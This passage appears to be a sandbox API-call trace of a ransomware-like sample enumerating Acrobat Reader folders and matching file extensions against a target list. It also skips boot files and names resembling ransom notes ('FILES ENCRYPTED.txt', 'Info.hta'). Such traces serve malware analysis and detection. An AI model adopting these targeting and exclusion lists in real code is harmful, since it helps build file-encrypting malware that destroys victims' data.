[0272.792] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0272.792] lstrlenW (lpString=".ascx") returned 5 [0272.792] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0272.792] lstrlenW (lpString=".asm") returned 4 [0272.792] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0272.792] lstrlenW (lpString=".asmx") returned 5 [0272.792] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0272.792] lstrlenW (lpString=".asp") returned 4 [0272.792] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0272.792] lstrlenW (lpString=".aspx") returned 5 [0272.792] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0272.792] lstrlenW (lpString=".asr") returned 4 [0272.792] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0272.792] lstrlenW (lpString=".asx") returned 4 [0272.794] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0272.794] lstrlenW (lpString=".avi") returned 4 [0272.794] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0272.794] lstrlenW (lpString=".avs") returned 4 [0272.794] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0272.794] lstrlenW (lpString=".backup") returned 7 [0272.794] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0272.794] lstrlenW (lpString=".bak") returned 4 [0272.794] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0272.794] lstrlenW (lpString=".bay") returned 4 [0272.794] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0272.794] lstrlenW (lpString=".bd") returned 3 [0272.794] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0272.794] lstrlenW (lpString=".bin") returned 4 [0272.794] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0272.794] lstrlenW (lpString=".bmp") returned 4 [0272.794] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0272.794] lstrlenW (lpString=".bz2") returned 4 [0272.794] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0272.794] lstrlenW (lpString=".c") returned 2 [0272.794] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0272.795] lstrlenW (lpString=".cdr") returned 4 [0272.795] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0272.795] lstrlenW (lpString=".cer") returned 4 [0272.795] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0272.795] lstrlenW (lpString=".cf") returned 3 [0272.795] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0272.795] lstrlenW (lpString=".cfc") returned 4 [0272.795] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0272.795] lstrlenW (lpString=".cfm") returned 4 [0272.795] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0272.795] lstrlenW (lpString=".cfml") returned 5 [0272.795] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0272.795] lstrlenW (lpString=".cfu") returned 4 [0272.795] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0272.795] lstrlenW (lpString=".chm") returned 4 [0272.795] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0272.795] lstrlenW (lpString=".cin") returned 4 [0272.795] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0272.795] lstrlenW (lpString=".class") returned 6 [0272.795] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0272.795] lstrlenW (lpString=".clx") returned 4 [0272.795] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0272.795] lstrlenW (lpString=".config") returned 7 [0272.795] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0272.795] lstrlenW (lpString=".cpp") returned 4 [0272.795] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0272.795] lstrlenW (lpString=".cr2") returned 4 [0272.795] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0272.795] lstrlenW (lpString=".crt") returned 4 [0272.795] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0272.795] lstrlenW (lpString=".crw") returned 4 [0272.796] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0272.796] lstrlenW (lpString=".cs") returned 3 [0272.796] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0272.796] lstrlenW (lpString=".css") returned 4 [0272.796] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0272.796] lstrlenW (lpString=".csv") returned 4 [0272.796] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0272.796] lstrlenW (lpString=".cub") returned 4 [0272.796] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0272.796] lstrlenW (lpString=".dae") returned 4 [0272.796] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0272.796] lstrlenW (lpString=".dat") returned 4 [0272.796] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0272.796] lstrlenW (lpString=".db") returned 3 [0272.796] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0272.796] lstrlenW (lpString=".dbf") returned 4 [0272.796] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0272.796] lstrlenW (lpString=".dbx") returned 4 [0272.796] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0272.796] lstrlenW (lpString=".dc3") returned 4 [0272.796] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0272.796] lstrlenW (lpString=".dcm") returned 4 [0272.797] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0272.797] lstrlenW (lpString=".dcr") returned 4 [0272.797] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0272.797] lstrlenW (lpString=".der") returned 4 [0272.797] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0272.797] lstrlenW (lpString=".dib") returned 4 [0272.797] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0272.797] lstrlenW (lpString=".dic") returned 4 [0272.797] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0272.797] lstrlenW (lpString=".dif") returned 4 [0272.797] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0272.797] lstrlenW (lpString=".divx") returned 5 [0272.797] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0272.797] lstrlenW (lpString=".djvu") returned 5 [0272.797] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0272.797] lstrlenW (lpString=".dng") returned 4 [0272.797] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0272.797] lstrlenW (lpString=".doc") returned 4 [0272.797] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0272.797] lstrlenW (lpString=".docm") returned 5 [0272.797] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0272.797] lstrlenW (lpString=".docx") returned 5 [0272.797] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0272.797] lstrlenW (lpString=".dot") returned 4 [0272.797] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0272.797] lstrlenW (lpString=".dotm") returned 5 [0272.798] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0272.798] lstrlenW (lpString=".dotx") returned 5 [0272.798] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0272.798] lstrlenW (lpString=".dpx") returned 4 [0272.798] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0272.798] lstrlenW (lpString=".dqy") returned 4 [0272.798] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0272.798] lstrlenW (lpString=".dsn") returned 4 [0272.798] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0272.798] lstrlenW (lpString=".dt") returned 3 [0272.798] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0272.798] lstrlenW (lpString=".dtd") returned 4 [0272.798] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0272.798] lstrlenW (lpString=".dwg") returned 4 [0272.798] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0272.798] lstrlenW (lpString=".dwt") returned 4 [0272.798] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0272.798] lstrlenW (lpString=".dx") returned 3 [0272.798] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0272.798] lstrlenW (lpString=".dxf") returned 4 [0272.798] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0272.798] lstrlenW (lpString=".edml") returned 5 [0272.798] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0272.799] lstrlenW (lpString=".efd") returned 4 [0272.799] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0272.799] lstrlenW (lpString=".elf") returned 4 [0272.799] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0272.799] lstrlenW (lpString=".emf") returned 4 [0272.799] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0272.799] lstrlenW (lpString=".emz") returned 4 [0272.799] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0272.799] lstrlenW (lpString=".epf") returned 4 [0272.799] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0272.799] lstrlenW (lpString=".eps") returned 4 [0272.799] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0272.799] lstrlenW (lpString=".epsf") returned 5 [0272.799] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0272.799] lstrlenW (lpString=".epsp") returned 5 [0272.799] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0272.799] lstrlenW (lpString=".erf") returned 4 [0272.799] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0272.799] lstrlenW (lpString=".exr") returned 4 [0272.799] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0272.799] lstrlenW (lpString=".f4v") returned 4 [0272.799] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0272.799] lstrlenW (lpString=".fido") returned 5 [0272.799] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0272.799] lstrlenW (lpString=".flm") returned 4 [0272.800] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0272.800] lstrlenW (lpString=".flv") returned 4 [0272.800] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0272.800] lstrlenW (lpString=".frm") returned 4 [0272.800] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0272.800] lstrlenW (lpString=".fxg") returned 4 [0272.800] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0272.800] lstrlenW (lpString=".geo") returned 4 [0272.800] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0272.800] lstrlenW (lpString=".gif") returned 4 [0272.800] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0272.800] lstrlenW (lpString=".grs") returned 4 [0272.800] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0272.800] lstrlenW (lpString=".gz") returned 3 [0272.800] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0272.800] lstrlenW (lpString=".h") returned 2 [0272.800] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0272.800] lstrlenW (lpString=".hdr") returned 4 [0272.800] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0272.800] lstrlenW (lpString=".hpp") returned 4 [0272.800] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0272.800] lstrlenW (lpString=".hta") returned 4 [0272.800] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0272.800] lstrlenW (lpString=".htc") returned 4 [0272.800] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0272.801] lstrlenW (lpString=".htm") returned 4 [0272.801] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0272.801] lstrlenW (lpString=".html") returned 5 [0272.801] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0272.801] lstrlenW (lpString=".icb") returned 4 [0272.801] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0272.801] lstrlenW (lpString=".ics") returned 4 [0272.801] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0272.801] lstrlenW (lpString=".iff") returned 4 [0272.801] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0272.801] lstrlenW (lpString=".inc") returned 4 [0272.801] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0272.801] lstrlenW (lpString=".indd") returned 5 [0272.801] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0272.801] lstrlenW (lpString=".ini") returned 4 [0272.801] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0272.801] lstrlenW (lpString=".iqy") returned 4 [0272.801] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0272.801] lstrlenW (lpString=".j2c") returned 4 [0272.801] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0272.801] lstrlenW (lpString=".j2k") returned 4 [0272.801] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0272.801] lstrlenW (lpString=".java") returned 5 [0272.801] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0272.801] lstrlenW (lpString=".jp2") returned 4 [0272.802] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0272.802] lstrlenW (lpString=".jpc") returned 4 [0272.802] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0272.802] lstrlenW (lpString=".jpe") returned 4 [0272.802] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0272.802] lstrlenW (lpString=".jpeg") returned 5 [0272.802] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0272.802] lstrlenW (lpString=".jpf") returned 4 [0272.802] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0272.802] lstrlenW (lpString=".jpg") returned 4 [0272.802] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0272.802] lstrlenW (lpString=".jpx") returned 4 [0272.802] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0272.802] lstrlenW (lpString=".js") returned 3 [0272.802] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0272.802] lstrlenW (lpString="ui-strings.js") returned 13 [0272.802] lstrlenW (lpString=".love$") returned 6 [0272.802] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0272.802] lstrlenW (lpString="ui-strings.js") returned 13 [0272.802] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0272.802] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0272.802] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0272.802] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0272.802] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0272.802] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0272.802] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0272.803] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0272.803] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\ui-strings.js") returned 133 [0272.803] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x771, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0272.803] FindClose (in: hFindFile=0x3315730 | out: hFindFile=0x3315730) returned 1 [0272.803] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0272.803] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0272.803] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it") returned 119 [0272.803] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it") returned 1 [0272.803] lstrlenW (lpString="it-it") returned 5 [0272.803] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="it-it") returned -1 [0272.803] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0272.803] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it") returned 119 [0272.803] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\it-it\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315bf0 [0272.804] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0272.804] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x73f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0272.804] lstrlenW (lpString="ui-strings.js") returned 13 [0272.804] lstrlenW (lpString=".1cd") returned 4 [0272.804] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0272.804] lstrlenW (lpString=".3ds") returned 4 [0272.804] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0272.804] lstrlenW (lpString=".3fr") returned 4 [0272.804] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0272.804] lstrlenW (lpString=".3g2") returned 4 [0272.804] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0272.804] lstrlenW (lpString=".3gp") returned 4 [0272.805] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0272.805] lstrlenW (lpString=".7z") returned 3 [0272.805] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0272.805] lstrlenW (lpString=".accda") returned 6 [0272.805] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0272.805] lstrlenW (lpString=".accdb") returned 6 [0272.805] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0272.805] lstrlenW (lpString=".accdc") returned 6 [0272.805] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0272.805] lstrlenW (lpString=".accde") returned 6 [0272.805] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0272.805] lstrlenW (lpString=".accdt") returned 6 [0272.805] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0272.805] lstrlenW (lpString=".accdw") returned 6 [0272.805] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0272.805] lstrlenW (lpString=".adb") returned 4 [0272.805] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0272.805] lstrlenW (lpString=".adp") returned 4 [0272.806] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0272.806] lstrlenW (lpString=".ai") returned 3 [0272.806] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0272.806] lstrlenW (lpString=".ai3") returned 4 [0272.806] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0272.806] lstrlenW (lpString=".ai4") returned 4 [0272.806] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0272.806] lstrlenW (lpString=".ai5") returned 4 [0272.806] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0272.806] lstrlenW (lpString=".ai6") returned 4 [0272.806] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0272.806] lstrlenW (lpString=".ai7") returned 4 [0272.806] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0272.806] lstrlenW (lpString=".ai8") returned 4 [0272.806] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0272.806] lstrlenW (lpString=".anim") returned 5 [0272.806] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0272.806] lstrlenW (lpString=".arw") returned 4 [0272.806] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0272.806] lstrlenW (lpString=".as") returned 3 [0272.806] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0272.806] lstrlenW (lpString=".asa") returned 4 [0272.807] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0272.807] lstrlenW (lpString=".asc") returned 4 [0272.807] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0272.807] lstrlenW (lpString=".ascx") returned 5 [0272.807] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0272.807] lstrlenW (lpString=".asm") returned 4 [0272.807] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0272.807] lstrlenW (lpString=".asmx") returned 5 [0272.807] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0272.807] lstrlenW (lpString=".asp") returned 4 [0272.807] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0272.807] lstrlenW (lpString=".aspx") returned 5 [0272.807] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0272.807] lstrlenW (lpString=".asr") returned 4 [0272.807] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0272.807] lstrlenW (lpString=".asx") returned 4 [0272.807] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0272.807] lstrlenW (lpString=".avi") returned 4 [0272.807] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0272.807] lstrlenW (lpString=".avs") returned 4 [0272.807] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0272.807] lstrlenW (lpString=".backup") returned 7 [0272.807] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0272.807] lstrlenW (lpString=".bak") returned 4 [0272.807] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0272.807] lstrlenW (lpString=".bay") returned 4 [0272.807] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0272.807] lstrlenW (lpString=".bd") returned 3 [0272.808] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0272.808] lstrlenW (lpString=".bin") returned 4 [0272.808] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0272.808] lstrlenW (lpString=".bmp") returned 4 [0272.808] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0272.808] lstrlenW (lpString=".bz2") returned 4 [0272.808] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0272.808] lstrlenW (lpString=".c") returned 2 [0272.808] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0272.808] lstrlenW (lpString=".cdr") returned 4 [0272.808] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0272.808] lstrlenW (lpString=".cer") returned 4 [0272.808] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0272.808] lstrlenW (lpString=".cf") returned 3 [0272.808] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0272.808] lstrlenW (lpString=".cfc") returned 4 [0272.808] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0272.808] lstrlenW (lpString=".cfm") returned 4 [0272.808] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0272.808] lstrlenW (lpString=".cfml") returned 5 [0272.808] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0272.808] lstrlenW (lpString=".cfu") returned 4 [0272.808] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0272.808] lstrlenW (lpString=".chm") returned 4 [0272.808] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0272.808] lstrlenW (lpString=".cin") returned 4 [0272.808] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0272.809] lstrlenW (lpString=".class") returned 6 [0272.809] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0272.809] lstrlenW (lpString=".clx") returned 4 [0272.809] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0272.809] lstrlenW (lpString=".config") returned 7 [0272.809] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0272.809] lstrlenW (lpString=".cpp") returned 4 [0272.809] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0272.809] lstrlenW (lpString=".cr2") returned 4 [0272.809] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0272.809] lstrlenW (lpString=".crt") returned 4 [0272.809] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0272.809] lstrlenW (lpString=".crw") returned 4 [0272.809] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0272.809] lstrlenW (lpString=".cs") returned 3 [0272.809] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0272.809] lstrlenW (lpString=".css") returned 4 [0272.809] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0272.809] lstrlenW (lpString=".csv") returned 4 [0272.809] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0272.809] lstrlenW (lpString=".cub") returned 4 [0272.809] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0272.809] lstrlenW (lpString=".dae") returned 4 [0272.809] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0272.809] lstrlenW (lpString=".dat") returned 4 [0272.809] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0272.810] lstrlenW (lpString=".db") returned 3 [0272.810] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0272.810] lstrlenW (lpString=".dbf") returned 4 [0272.810] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0272.810] lstrlenW (lpString=".dbx") returned 4 [0272.810] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0272.810] lstrlenW (lpString=".dc3") returned 4 [0272.810] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0272.810] lstrlenW (lpString=".dcm") returned 4 [0272.810] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0272.810] lstrlenW (lpString=".dcr") returned 4 [0272.810] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0272.810] lstrlenW (lpString=".der") returned 4 [0272.810] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0272.810] lstrlenW (lpString=".dib") returned 4 [0272.810] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0272.810] lstrlenW (lpString=".dic") returned 4 [0272.810] lstrcmpiW (lpString1=".dic", 